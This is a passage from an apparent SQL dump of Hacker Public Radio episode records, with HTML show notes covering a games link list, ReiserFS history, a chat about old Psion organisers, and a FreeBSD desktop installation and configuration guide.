href=\"https://endless-sky.github.io/\">website</a>, <a href=\"https://store.steampowered.com/app/404410/Endless_Sky/\">Steam</a></p>\n<p>Powermanga <a href=\"https://linux.tlk.fr/games/Powermanga/\">website</a></p>\n<p>SuperTuxKart <a href=\"https://supertuxkart.net/Main_Page\">website</a></p>\n<p>Xbill <a href=\"https://en.wikipedia.org/wiki/XBill\">Wikipedia</a>, <a href=\"http://www.xbill.org/\">website</a></p>\n<h2 id=\"retrogame\">Retrogame</h2>\n<p>Banjo Kazooie (Nintendo 64) <a href=\"https://en.wikipedia.org/wiki/Banjo-Kazooie\">Wikipedia</a></p>\n<p>Ducktales (NES) <a href=\"https://en.wikipedia.org/wiki/DuckTales_(video_game)\">Wikipedia</a></p>\n<h1 id=\"board-games\">Board Games</h1>\n<p>Labyrinth <a href=\"https://www.ravensburger.us/products/games/award-winning-games/labyrinth-26448/index.html\">website</a></p>\n<p>Tokaido <a href=\"https://funforge.fr/game/en/tokaido\">website</a>, <a href=\"https://store.steampowered.com/app/648750/Tokaido/\">Steam</a></p>\n<p>Wingspan <a href=\"https://stonemaiergames.com/games/wingspan/\">website</a>, <a href=\"https://store.steampowered.com/app/1054490/Wingspan/\">Steam</a></p>\n',407,0,1,'CC-BY-SA','games,guest,videogames,board games',0,0,1),
(3701,'2022-10-10','ReiserFS - the file system of the future',1171,'The history and future of ReiserFS, its involvement with DARPA, a sordid murder and Kernel politics','<ul>\n<li>ReiserFS &#x2013; The file system of the future</li>\n<li>Intro: Welcome to HPR; What I do; How I got in to computing; How I got in to Slackware and discovered ReiserFS</li>\n<li>A history of ReiserFS: Previous episode; Brief recap; A brief history; Lessons learned and experiences gained; Some tools to use</li>\n<li>Outro: Thanks</li>\n</ul>\n\n<h3>ReiserFS</h3>\n<em><a href=\"https://en.wikipedia.org/wiki/ReiserFS\">From Wikipedia, the free encyclopedia</a></em>\n\n<p>\nReiserFS is a general-purpose, journaling file system initially designed and implemented by a team at Namesys led by Hans Reiser and licensed under GPLv2. Introduced in version 2.4.1 of the Linux kernel, it was the first journaling file system to be included in the standard kernel. ReiserFS was the default file system in Novell\'s SUSE Linux Enterprise until Novell decided to move to ext3 on October 12, 2006, for future releases.<br />\n\nNamesys considered ReiserFS version 3.6 which introduced a new on-disk format allowing bigger filesizes, now occasionally referred to as Reiser3, as stable and feature-complete and, with the exception of security updates and critical bug fixes, ceased development on it to concentrate on its successor, Reiser4. Namesys went out of business in 2008 after Reiser\'s conviction for murder. The product is now maintained as open source by volunteers. The reiserfsprogs 3.6.27 were released on 25 July 2017.<br />\n\nReiserFS is currently supported on Linux without quota support. It has been discussed for removal from the Linux kernel since early 2022 due to a lack of maintenance upstream, and technical issues inherent to the filesystem, such as the fact it suffers from the year 2038 problem; it was deprecated in Linux 5.18, with removal planned for 2025.\n</p>\n',411,0,0,'CC-BY-SA','hans reiser, reiserfs, reiser4, reiser5, slackware, linux, intro, darpa, acorn, amiga, commodore',0,0,1),
(3702,'2022-10-11','Easter Ogg',3722,'From Scotland, another chat between MrX and Dave Morriss','<article>\n<h2 id=\"introduction\">Introduction</h2>\n<p>Hosts:</p>\n<ul>\n<li><a href=\"https://hackerpublicradio.org/correspondents/0201.html\">MrX</a></li>\n<li><a href=\"https://hackerpublicradio.org/correspondents/0225.html\">Dave Morriss</a></li>\n</ul>\n<p>We recorded this on Monday September 12<sup>th</sup> 2022. We have a list of talking points each time and <em>never</em> get through them!</p>\n<h2 id=\"topics-discussed\">Topics discussed</h2>\n<ul>\n<li>Places visited:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Lake_District\">Lake District, England</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Loch_Lomond\">Loch Lomond, Scotland</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Stockbridge,_Edinburgh\">Stockbridge, Edinburgh</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Water_of_Leith\">Water of Leith, Edinburgh</a></li>\n</ul></li>\n</ul>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Death_and_state_funeral_of_Elizabeth_II\">Death of Queen Elizabeth</a>\n<ul>\n<li>Died September 8<sup>th</sup> 2022 at Balmoral Castle, Scotland, aged 96</li>\n<li>State funeral 2022-09-19</li>\n</ul></li>\n</ul>\n<ul>\n<li>Navigation by phone:\n<ul>\n<li>Daves phone battery out of charge on the outskirts of Liverpool on the way to OggCamp.</li>\n<li>MrXs old Garmin GPS used weird routes when travelling</li>\n<li>Dave once met a lost driver going down Donkey Lane<a href=\"#fn1\" class=\"footnote-ref\" id=\"fnref1\" role=\"doc-noteref\"><sup>1</sup></a> to the pedestrian railway crossing due to bad GPS directions</li>\n</ul></li>\n</ul>\n<ul>\n<li>Domestic stuff:\n<ul>\n<li>Daves house has been painted. Its covered in <a href=\"https://en.wikipedia.org/wiki/Harling_(wall_finish)\"><em>harling</em></a> (aka <em>rough-cast</em> or <em>pebble-dash</em> in England) which has very sharp stones embedded in it, and this paint covers these sharp stones.</li>\n<li>Plumbing issues: stopping a dripping tap, replacing the washer, or with modern taps <em>the module</em>.</li>\n<li>Advisability of calling in a plumber!</li>\n</ul></li>\n</ul>\n<ul>\n<li>COVID-19, and related:\n<ul>\n<li>The virus has not gone, even though there are many who pretend that it has.</li>\n<li>MrX and MrsX visited <a href=\"https://en.wikipedia.org/wiki/St_Bees\">St Bees</a> for a wedding with a <a href=\"https://en.wikipedia.org/wiki/C%C3%A8ilidh\">Cèilidh</a> and MrX caught COVID there, though it wasnt serious. MrsX did not catch it!</li>\n<li>Immunology is hard to understand! Some cold-like illnesses may be caused by other corona viruses and may help protect against SARS-CoV-2.</li>\n<li>Dave has an Immunology book, but hasnt read it yet! See the links for details.</li>\n<li>MrX mentioned <a href=\"https://www.taxresearch.org.uk/Blog/\">Richard J Murphy</a> in the context of being realistic about COVID-19 and continuing to take precautions.</li>\n<li>Reluctance to go shopping. Dave makes a weekly trip, wearing a mask. MrX uses <em>Click and Collect</em>.</li>\n<li>Dave has lost weight so some of his clothes are too big. MrX has trouble finding smaller sized clothes when shopping.</li>\n</ul></li>\n</ul>\n<ul>\n<li>Old technology:\n<ul>\n<li>MrX recently found a box in his wardrobe with six <a href=\"https://en.wikipedia.org/wiki/Psion_Series_3#Psion_Series_3c\">Psion 3c Organisers</a> in it, in various states of disrepair. From these a functioning organiser was made, which is in regular use.</li>\n<li>MrX used to have a <a href=\"https://en.wikipedia.org/wiki/Psion_Series_3#Psion_Series_3a\">Psion Series 3a</a> but the hinge failed.</li>\n<li>Dave had a <a href=\"https://en.wikipedia.org/wiki/Psion_Series_5\">Psion Series 5mx</a> for a time, as did MrsX. Daves failed either because of a screen fault or a failure of the ribbon cable connecting to the screen.</li>\n<li>The Series 3c, and the later 3mx, have an Easter Egg available through a particular key sequence. This is a rendition of the anthem “Jerusalem”, and is included at the end of this episode (and is responsible for the show title).</li>\n<li>Dave had had a <a href=\"https://en.wikipedia.org/wiki/Psion_Organiser\">Psion Organiser II</a> at work in the early days of organisers, but it was not particularly useful.</li>\n<li>MrX had an <a href=\"https://en.wikipedia.org/wiki/Atari_Portfolio\">Atari Portfolio</a>. He describes it as: <em>a dreadful machine running DOS 2.11<br />\nIt regularly crashed, losing all its memory. I decided to ditch it after having to type out my contacts list every time it crashed.</em></li>\n<li>MrX also had a <a href=\"https://en.wikipedia.org/wiki/Nokia_N810\">Nokia N810</a>, an <em>Internet Tablet</em> running Linux.</li>\n<li>Dave couldnt quite remember at the time of recording, but he bought a used <a href=\"https://en.wikipedia.org/wiki/Nokia_770_Internet_Tablet\">Nokia 770</a> on eBay, which was the predecessor of the N810. This was also a Linux-based system, but it didnt last more than a couple of weeks sadly.</li>\n<li>Both bought - and still have - the <a href=\"https://en.wikipedia.org/wiki/Asus_Eee_PC\">ASUS Eee PC</a>. Daves is the 1005HA model.\n<ul>\n<li>MrX still uses his from time to time</li>\n<li>Dave is thinking about installing a BSD flavour on his, but doesnt use it often. It currently has <em>CrunchBang</em> installed.</li>\n</ul></li>\n</ul></li>\n</ul>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Telegram_(software)\">Telegram</a>:\n<ul>\n<li>Dave runs it on his desktop (and laptop) as well as two phones. The phones run KDE Connect and are configured to tell the desktop when a message arrives!</li>\n</ul></li>\n</ul>\n<ul>\n<li>HPR New Year show:\n<ul>\n<li><em>HonkeyMagoo</em> (of the <a href=\"https://linuxlugcast.com/index.php/category/podcast/\">Linux LUGCast podcast</a>) does a lot of the work with the recording in conjunction with Ken. He divides up the audio into shows, and in past years has prepared show notes.</li>\n<li>This year a LUGCast listener <em>HPLovecraft</em> did the notes, and they are very good!</li>\n</ul></li>\n</ul>\n<h2 id=\"postscript\">Postscript</h2>\n<p>MrX found the <em>Easter Egg</em>, mentioned during our chat, on his Psion Series 3C, recorded it via Audacity, and sent me the resulting <em>Easter Ogg</em>! It has been appended to the main recording.</p>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li>Various Wikipedia links:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Lake_District\">Lake District, England</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Loch_Lomond\">Loch Lomond, Scotland</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Stockbridge,_Edinburgh\">Stock Bridge, Edinburgh</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Water_of_Leith\">Water of Leith, Edinburgh</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Death_and_state_funeral_of_Elizabeth_II\">Death of Queen Elizabeth</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/St_Bees\">St Bees on the coast of Cumbria, England</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Harling_(wall_finish)\">Harling wall covering (aka rough-cast)</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/C%C3%A8ilidh\">Cèilidh, a traditional Scottish social gathering</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Book:\n<ul>\n<li><a href=\"https://www.wiley.com/en-gb/How+the+Immune+System+Works,+6th+Edition-p-9781119542124\">How the Immune System Works, Lauren Sompayrac, ISBN 9781119542124</a></li>\n</ul></li>\n</ul>\n<ul>\n<li><a href=\"https://www.taxresearch.org.uk/Blog/\">Richard J Murphy</a>\n<ul>\n<li><a href=\"https://www.taxresearch.org.uk/Blog/2022/08/10/the-strangest-feeling/\">Item mentioned in the blog</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Organisers (all Wikipedia links):\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Psion_Organiser\">Psion Organiser II</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Psion_Series_3#Psion_Series_3a\">Psion 3a Organiser</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Psion_Series_3#Psion_Series_3c\">Psion 3c Organiser</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Psion_Series_5\">Psion Series 5</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Atari_Portfolio\">Atari Portfolio</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Nokia_N810\">Nokia N810</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Nokia_770_Internet_Tablet\">Nokia 770</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Asus_Eee_PC\">ASUS Eee PC</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Instant Messaging:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Telegram_(software)\">Telegram</a>\n<ul>\n<li>Owned by a Russian billionaire.</li>\n</ul></li>\n</ul></li>\n</ul>\n<section class=\"footnotes\" role=\"doc-endnotes\">\n<hr />\n<ol>\n<li id=\"fn1\" role=\"doc-endnote\"><p>Donkey Lane is a public right of way, possibly since the 1700s. It starts as a pedestrian-only pathway then turns into a narrow tarmac-covered roadway with a pedestrian-only railway crossing.<a href=\"#fnref1\" class=\"footnote-back\" role=\"doc-backlink\">↩︎</a></p></li>\n</ol>\n</section>\n</article>\n',225,0,1,'CC-BY-SA','chat, old technology, organiser',0,0,1),
(3705,'2022-10-14','The Year of the FreeBSD Desktop',4155,'I talk about configuring FreeBSD as a desktop OS and give tips for those coming from Linux','<h1 id=\"getting-an-installer\">Getting an installer</h1>\n<p><a href=\"https://www.freebsd.org/where/\">Link to FreeBSD downloads</a></p>\n<p>Choose the correct arch for your system. amd64 is probably the one you want if you know nothing about computer architectures.</p>\n<p>you will have a lot of options:</p>\n<ul>\n<li>*-bootonly.iso is a netinstall image that is for burning to a CD</li>\n<li>*-disc1.iso is a supplementary CD image for *-bootonly.iso</li>\n<li>*-dvd1.iso is a complete DVD image with extra packages</li>\n<li>*-memstick.img is a complete image for burning to a USB stick</li>\n<li>*-mini-memstick.img is a netinstall image for burning to a USB stick</li>\n</ul>\n<p>I typically download and use one of the compressed memstick images. The mini image is fine but you probably want the regular memstick image if this is the first time you\'ve ever installed FreeBSD. It alleviates some of the stress that comes with installing wireless drivers.</p>\n<p>To burn a memstick image, use the <code>disk destroyer</code> program:</p>\n<pre class=\"sh\"><code>root@fbsd# xunz FreeBSD-13.1-RELEASE-amd64-memestick.img.xz\nroot@fbsd# sudo dd if=./FreeBSD-13.1-RELEASE-amd64-memestick.img of=/dev/sdx status=progress\nroot@fbsd# sudo eject /dev/sdx\n</code></pre>\n<hr />\n<h1 id=\"initial-installation\">Initial installation</h1>\n<h2 id=\"pre-installation\">pre-installation</h2>\n<p>The standard steps for installing Linux apply:</p>\n<ol>\n<li>disable secure boot</li>\n<li>enable USB booting</li>\n<li>select boot device at startup time</li>\n</ol>\n<p>Because this is hardware specific, it\'s a homework assignment for the audience.</p>\n<h2 id=\"installation\">Installation</h2>\n<p>FreeBSD has a menu driven installer that walks the user through various steps:</p>\n<h3 id=\"1-set-keymap-leave-default-if-you-dont-know\">1. set keymap (leave default if you don\'t know)</h3>\n<h3 id=\"2-set-hostname\">2. set hostname</h3>\n<h3 id=\"3-select-sets\">3. select sets</h3>\n<p>There are many sets to choose from. New users probably want to install all of them. I typically only install the <code>lib32</code> set and add the rest later.</p>\n<h3 id=\"4-partitioning\">4. Partitioning</h3>\n<p><code>bsdinstall</code> makes it easy to partition your drives. The <code>Auto(ZFS)</code> option is probably what you want as the default UFS configuration is unjournaled.</p>\n<p>In the <code>Auto(ZFS)</code> menu, for a single hard drive installation, you want to stripe one disk. Select your hard drive.</p>\n<p>If you want full disk encryption, select the <code>Encrypt Disks</code> option.</p>\n<p>You also want to bump up the swap size to <code>ram*1.5</code> as a general rule (so, for 4g of ram you will set 6g of swap, for 8g or ram you set 12g swap). If you selected <code>Encrypt Disks</code>, you should also select <code>Encrypt Swap</code></p>\n<p>When you are done, proceed with the installation. You will gt a confirmation message asking if you want to destroy the disk(s) you selected. This is your last chance to go back.</p>\n<p>If you selected <code>Encrypt Disks</code>, you will be presented with a password prompt. This is the disk encryption password, not any user password.</p>\n<h3 id=\"5-wait-for-sets-to-install\">5. Wait for sets to install</h3>\n<h3 id=\"6-configure-root-user\">6. Configure root user</h3>\n<p>After the sets are installed, you will set a root password.</p>\n<h3 id=\"7-network-config\">7. Network Config</h3>\n<p>If your wireless card is supported, all the hard parts are already done for you. If your wireless card is not supported, you might need to plug in an ethernet cable and compile the drivers into the kernel.</p>\n<p>Select your card (<code>em*</code> is ethernet, wifi cards are named after their drivers)</p>\n<p>If you choose wifi, the installer will scan for networks and give you a menu to select one. If the network is encrypted, you will be presented with a password prompt.</p>\n<h3 id=\"8-time-and-date-setup\">8. Time and date setup</h3>\n<h3 id=\"9-service-setup\">9. Service setup</h3>\n<p>You will be presented with a menu that enables/disables services on system startup. You probably want all of them except <code>local_unbound</code>.</p>\n<h3 id=\"10-security-config\">10. Security config</h3>\n<p>The next menu enables/disables security features. If nothing else, select <code>disable_sendmail</code> and <code>clear_tmp</code></p>\n<h3 id=\"11-add-users\">11. Add users</h3>\n<p>Simply add your user. You might want to add him to the wheel group if you plan on using sudo. I set my shell to tcsh but you can always change this later. A</p>\n<h3 id=\"12-final-configuration\">12. Final configuration</h3>\n<p>You may want to install the handbook or modify any configurations you\'ve made so far. This will take some time. When you are done, apply the config and exit.</p>\n<h3 id=\"13-manual-config\">13. Manual config</h3>\n<p>Before you reboot the system and exit the installer, you are given a last opportunity to make any manual configurations. This is rarely needed for the average desktop user.</p>\n<h2 id=\"post-installation\">Post installation</h2>\n<blockquote>\n<p>What, no GUI?</p>\n</blockquote>\n<h3 id=\"update-system\">Update system</h3>\n<p>Login as root and update the system:</p>\n<pre class=\"sh\"><code>root@fbsd# freebsd-update fetch\nroot@fbsd# freebsd-update install\nroot@fbsd# reboot\n</code></pre>\n<h3 id=\"installing-packages\">Installing packages</h3>\n<p>Before we begin modifying the system, we need a better editor.</p>\n<p>The <code>pkg</code> utility is used in a nearly identical way to any Linux package manager. The syntax <code>pkg $verb $object</code> persists. Verbs include <code>install</code>, <code>remove</code>, <code>update</code>, <code>upgrade</code>, <code>search</code>, etc.</p>\n<p>Because the only editors installed by default are <code>vi</code>, <code>ed</code>, and <code>ee</code>, let\'s install vim.</p>\n<p>There are multiple vim flavors, I like vim-tiny.</p>\n<pre class=\"sh\"><code>root@fbsd# pkg bootstrap\nroot@fbsd# pkg update\nroot@fbsd# pkg search vim\nroot@fbsd# pkg install vim-tiny\n</code></pre>\n<p>We probably want sudo (or doas) also:</p>\n<pre class=\"sh\"><code>root@fbsd# pkg install sudo\nroot@fbsd# visudo\n</code></pre>\n<p>Find the line that says:</p>\n<pre class=\"sh\"><code># %wheel ALL=(ALL:ALL) ALL\n</code></pre>\n<p>and move the <code># </code> from the beginning of the line to enable the wheel group to do actions as root.</p>\n<h3 id=\"bootloader-tweaks\">Bootloader tweaks</h3>\n<p>We can tweak the bootloader to make the system more desktop-like. Edit <code>/boot/loader.conf</code></p>\n<pre class=\"sh\"><code># /boot/loader.conf\n# -----------------\n[ lots of default stuff ]\n\n# custom stuff\n\n# boot faster\nautoboot_delay=2\n</code></pre>\n<p>Refer to <code>loader.conf(5)</code> for more tweaks and <code>/boot/defaults/loader.conf</code> for examples.</p>\n<h3 id=\"init-tweaks\">init tweaks</h3>\n<p>We can tweak the init system also. Edit <code>/etc/rc.conf</code></p>\n<pre class=\"sh\"><code># /etc/rc.conf\n# -----------------\n[ lots of default stuff ]\n\n# enable graphics\nkld_list=&quot;i915kms&quot;\n\n# faster booting\nbackground_dhclient=&quot;YES&quot;\n</code></pre>\n<p>See <code>rc.conf(5)</code> and <code>/etc/defaults/rc.conf</code> for more information on what you can do.</p>\n<h3 id=\"snapshotting-a-sane-fresh-installation\">Snapshotting a sane fresh installation</h3>\n<p>At this point, it is wise to take a recursive snapshot of your FreeBSD installation. This provides us with an easy way to roll back to a fresh, known working system configuration.</p>\n<pre class=\"sh\"><code>root@fbsd# zfs snapshot -r zroot@freshinstall\nroot@fbsd# zfs list - tsnapshot\n</code></pre>\n<p>If the system becomes unrepairable, we can simply rollback instead of reinstalling with a simple command:</p>\n<pre class=\"sh\"><code>root@fbsd# zfs rollback -r zroot@freshinstall\n</code></pre>\n<p>To rollback every dataset, we can use xargs:</p>\n<pre class=\"sh\"><code>root@fbsd# zfs list -t snapshot | grep freshinstall | cut -d &#39; &#39; -f 1 | xargs -I % zfs rollback %\n</code></pre>\n<p>Using zfs snapshots before and after making any potentially dangerous configuration changes saves a lot of headache in the long run because zfs is accessible from the recovery shell. Rollback with caution, user data may be lost.</p>\n<p>Homework assignment: write a series of cron jobs that automatically takes snapshots (and cleans up the old ones) of user data as a form of <em>last line of defense version control</em></p>\n<hr />\n<h1 id=\"graphical-user-interfaces\">Graphical user interfaces</h1>\n<h2 id=\"install-graphics-drivers\">Install graphics drivers</h2>\n<p>This varies depending on your GPU.</p>\n<pre class=\"sh\"><code>root@fbsd# pkg install drm-kmod\n</code></pre>\n<p>After installing this package, you will see a message on how to enable the driver for your specific hardware:</p>\n<pre class=\"sh\"><code>For amdgpu: kld_list=&quot;amdgpu&quot;\nFor Intel: kld_list=&quot;i915kms&quot;\nFor radeonkms: kld_list=&quot;radeonkms&quot;\n</code></pre>\n<p>To enable one of these, you will need to add a line to your <code>/etc/rc.conf</code>. The earlier you place this line in the file, the sooner the kmods will load. For intel graphics, for example, you will add the following line:</p>\n<pre class=\"sh\"><code># /etc/rc.conf\n# -----------------\n[ lots of other stuff ]\n\n# intel graphics drivers\nkld_list=&quot;i915kms&quot;\n</code></pre>\n<p>To load the kmod on the fly (for larger resolution vt), run:</p>\n<pre class=\"sh\"><code>root@fbsd# kldload i915kms\n</code></pre>\n<p>You will also need to add your non-root user to the <code>video</code> group.</p>\n<pre class=\"sh\"><code>root@fbsd# pw groupmod video -m $user\n</code></pre>\n<h2 id=\"audio\">Audio</h2>\n<p>(hopefully) audio will just work. Supported audio interfaces are enumerated in <code>man snd(4)</code> and details on enabling/disabling drivers in <code>/boot/lodaer.conf</code> are also explained.</p>\n<p>To manage volume, use the <code>mixer</code> command. For example, setting the mic volume to 50% and the speaker volume to 95%:</p>\n<pre class=\"sh\"><code>user@fbsd% mixer mic 50:50\nuser@fbsd% mixer vol 95:95\n</code></pre>\n<p>The <code>mixertui</code> command can also be used. This program functions similarly to <code>alsamixer</code> on Linux.</p>\n<p>Depending on your hardware, the volume keys on your keyboard might not work. Adding a keybinding to a shell script is the usual solution and should be familiar to anyone who uses a desktop free window manager.</p>\n<h2 id=\"getting-xorg\">Getting xorg</h2>\n<pre class=\"sh\"><code>root@fbsd# pkg install xorg\n</code></pre>\n<p>The <code>twm</code> window manager is included with xorg by default. We can use it for testing our xorg configuration, mouse support, etc before continuing with larger desktop environments. Early troubleshooting always prevents foot shooting. Test early, test often.</p>\n<pre class=\"sh\"><code>root@fbsd# startx\n</code></pre>\n<h2 id=\"desktop-environments\">Desktop Environments</h2>\n<p>Refer to <a href=\"https://docs.freebsd.org/en/books/handbook/x11/#x11-wm\">The handbook\'s instructions on desktops</a> for instructions on non-suckless (ie suck<em>more</em> setups). I have tested some of them on FreeBSD. KDE and Xfce are reliable. GNOME is mostly reliable. If you are running a big DE, you might have to modify polkit rules to do things like reboot the system from the GUI. Many larger desktops rely on FreeDesktop.org components. I personally do not like dbus so instead I use the suckless tools.</p>\n<p>But, for the sake of completeness, I will install a few for the masses. I installed each one of these independently and sequentially on the same system using zfs snapshots to roll back to a bare bones system without any DE installed.</p>\n<h3 id=\"gnome\">GNOME</h3>\n<pre class=\"sh\"><code>root@fbsd# pkg install gnome\nroot@fbsd# printf &#39;proc\\t/proc\\tprocfs\\trw\\t0\\t0\\n&#39; &gt;&gt; /etc/fstab\nroot@fbsd# sysrc dbus_enable=&quot;YES&quot;\nroot@fbsd# sysrc gdm_enable=&quot;YES&quot;\nroot@fbsd# sysrc gnome_enable=&quot;YES&quot;\nroot@fbsd# reboot\n</code></pre>\n<p><a href=\"eps/hpr3705/gnome-on-freebsd.png\"><img src=\"eps/hpr3705/gnome-on-freebsd_thumbnail.png\" alt=\"Gnome screenshot on FreeBSD\" /></a></p>\n<h3 id=\"kde\">KDE</h3>\n<pre class=\"sh\"><code>root@fbsd# pkg install kde5 sddm\nroot@fbsd# printf &#39;proc\\t/proc\\tprocfs\\trw\\t0\\t0\\n&#39; &gt;&gt; /etc/fstab\nroot@fbsd# sysrc dbus_enable=&quot;YES&quot;\nroot@fbsd# sysrc sddm_enable=&quot;YES&quot;\nroot@fbsd# reboot\n</code></pre>\n<p><a href=\"eps/hpr3705/kde-on-freebsd.png\"><img src=\"eps/hpr3705/kde-on-freebsd_thumbnail.png\" alt=\"KDE screenshot on FreeBSD\" /></a></p>\n<h3 id=\"xfce\">Xfce</h3>\n<pre class=\"sh\"><code>root@fbsd# pkg install xfce xfce4-goodies\nroot@fbsd# sysrc dbus_enable=&quot;YES&quot;\n</code></pre>\n<p>Xfce does not provide it\'s own login manager, unlike GNOME or KDE. Let\'s pick lightdm because it\'s small and the graphical toolkit matches Xfce.</p>\n<pre class=\"sh\"><code>root@fbsd# pkg install lightdm-gtk-greeter\nroot@fbsd# sysrc lightdm_enable=&quot;YES&quot;\nroot@fbsd# reboot\n\n</code></pre>\n<p><a href=\"eps/hpr3705/xfce-on-freebsd.png\"><img src=\"eps/hpr3705/xfce-on-freebsd_thumbnail.png\" alt=\"Xfce screenshot on FreeBSD\" /></a></p>\n<h3 id=\"suckless\">Suckless</h3>\n<p><a href=\"https://suckless.org\">suckless: tools that suck less.</a></p>\n<p>This is how I use FreeBSD (and how I use most computers). I wrote a makefile that modifies the compile options so that the tools will build on FreeBSD and (optionally) adds the theme I use. <a href=\"https://gitlab.com/binrc/suckless\">You can find my suckless duct tape in this git repo</a>.</p>\n<p>I also use xdm because it\'s small and fast.</p>\n<pre class=\"sh\"><code>user@fbsd% sudo pkg install xdm\nuser@fbsd% sudo service xdm enable\n</code></pre>\n<p><a href=\"eps/hpr3705/suckless-on-freebsd.png\"><img src=\"eps/hpr3705/suckless-on-freebsd_thumbnail.png\" alt=\"Suckless screenshot on FreeBSD\" /></a></p>\n<h3 id=\"a-final-note-on-desktops\">A final note on desktops</h3>\n<p>Sometimes desktops behave unexpectedly on FreeBSD (ie users cannot manage power settings, reboot the system, etc). Make sure your login user is in the wheel group (it\'s your computer, you probably are already in the wheel group) and most of the issues will be resolved. For users you don\'t want in the wheel group, you\'ll need to write a few <code>polkit</code> rules.</p>\n<p>Additionally, big desktops are typically compiled without the graphical components for modifying network connections.</p>\n<p>Similar to Arch or Gentoo, there is a bit of legwork left to the end user. You\'ll never know what you might learn about systems administration if you don\'t wilfully give yourself the opportunity.</p>\n<h2 id=\"shell-tweaks\">Shell tweaks</h2>\n<p>I like colors in the shell for systems I use regularly. I also like aliases. We can modify our csh configuration file to automatically do the fancy for us.</p>\n<pre class=\"sh\"><code># ~/.cshrc\n# -----------------\n[ lots of stuff ]\n\n# prompt section\nif ($?prompt) then\n # An interactive shell -- set some stuff up\n #set prompt = &quot;%N@%m:%~ %# &quot;\n #set prompt = &quot;%{\\033[31m%}%N@%m:%~ %#%{\\033[0m%} &quot;\n set prompt = &quot;%{\\033[1m%}%N@%m:%~ %#%{\\033[0m%} &quot;\n set promptchars = &quot;%#&quot;\n\n set filec\n set history = 1000\n set savehist = (1000 merge)\n set autolist = ambiguous\n # Use history to aid expansion\n set autoexpand\n set autorehash\n set mail = (/var/mail/$USER)\n\n if ( $?tcsh ) then\n bindkey &quot;^W&quot; backward-delete-word\n bindkey -k up history-search-backward\n bindkey -k down history-search-forwarrd\n bindkey &quot;^R&quot; i-search-back\n endif\nendif\n\n# alias section\nalias la ls -aF\nalias lf ls -FA\nalias ll ls -lAF\nalias ls ls -GF\nalias lc ls -GF\n</code></pre>\n<h2 id=\"some-other-packages\">Some other packages</h2>\n<p>The things I like:</p>\n<pre class=\"sh\"><code>user@fbsd% sudo pkg install firefox gimp feh mpv ffmpeg ImageMagick7 mutt newsboat\n</code></pre>\n<p>If you install a large DE, most of the applications are pulled in as well. If not, you can always use xargs to pull in hundreds of gigabytes of programs:</p>\n<pre class=\"sh\"><code>user@fbsd% sudo pkg search $desktop | cut -d &#39; &#39; -f 1 | xargs sudo pkg install -y\n</code></pre>\n<p>Going GNU:</p>\n<pre class=\"sh\"><code>user@fbsd% sudo pkg install coreutils emacs bash gcc gmake\n</code></pre>\n<p>Do a few package searches. What you want is probably there. If not, time to start porting :)</p>\n<p>Once you have everything configured how you want it, it\'s a good time to take another zfs snapshot.</p>\n<hr />\n<h1 id=\"quickstart\">Quickstart</h1>\n<h2 id=\"init-system\">Init system</h2>\n<p>Instead of systemd, FreeBSD uses rc scripts for starting and stopping services. Everything is pretty much shell scripts. To modify the startup process, you simply edit <code>/etc/rc.conf</code> in a text editor.</p>\n<p>For <code>systemctl</code> like starting/stopping/enabling, you can do the following:</p>\n<pre class=\"sh\"><code>root@fbsd# service sshd enable\nroot@fbsd# service sshd start\nroot@fbsd# service sshd restart\nroot@fbsd# service sshd stop\nroot@fbsd# service sshd disable\nroot@fbsd# service sshd onestart\nroot@fbsd# service sshd status\n</code></pre>\n<p>Each service has it\'s own init file so sometimes a specific service might take different arguments than the standard ones you might expect.</p>\n<h2 id=\"networking\">Networking</h2>\n<p>Network interfaces are configured classically using <code>ifconfig(8)</code>. If you want a network interface to persist across reboots, you add the information in <code>/etc/rc.conf</code>.</p>\n<p>WiFi is managed with <code>wpa_supplicant</code>. Refer to <code>man wpa_supplicant.conf(8)</code> for more information.</p>\n<h2 id=\"firewall\">Firewall</h2>\n<p><a href=\"https://docs.freebsd.org/en/books/handbook/firewalls/#firewalls-pf\">use the pf firewall, I like it</a></p>\n<h2 id=\"general-upgrade-process\">General upgrade process</h2>\n<pre class=\"sh\"><code>root@fbsd# pkg update &amp;&amp; pkg upgrade\nroot@fbsd# freebsd-update upgrade -r 13.1-RELEASE\nroot@fbsd# freebsd-update install\nroot@fbsd# reboot\nroot@fbsd# freebsd-update install\nroot@fbsd# pkg update &amp;&amp; pkg upgrade\nroot@fbsd# freebsd-update install\nroot@fbsd# reboot\n</code></pre>\n<h2 id=\"shells\">Shells</h2>\n<p>FreeBSD uses <code>tcsh(1)</code> as the default shell and includes <code>sh(1)</code> for bourne-like compatibility. You can install bash if you want.</p>\n<h2 id=\"package-management\">Package management</h2>\n<p>There are two primary ways of managing software: binary packages and ports. Don\'t mix them if you don\'t know what you\'re doing, it can cause problems.</p>\n<p>To be brief: ports are like Gentoo. You spend a lot of time watching compiler output. The following programs help: <code>synth</code>, <code>portmaster</code>, <code>poudriere</code>.</p>\n<p>to be verbose: here is a quick guide on using the binary package management system:</p>\n<pre class=\"sh\"><code>pkg update\npkg upgrade\npkg search foobar\npkg install foobar\npkg remove foobar\npkg 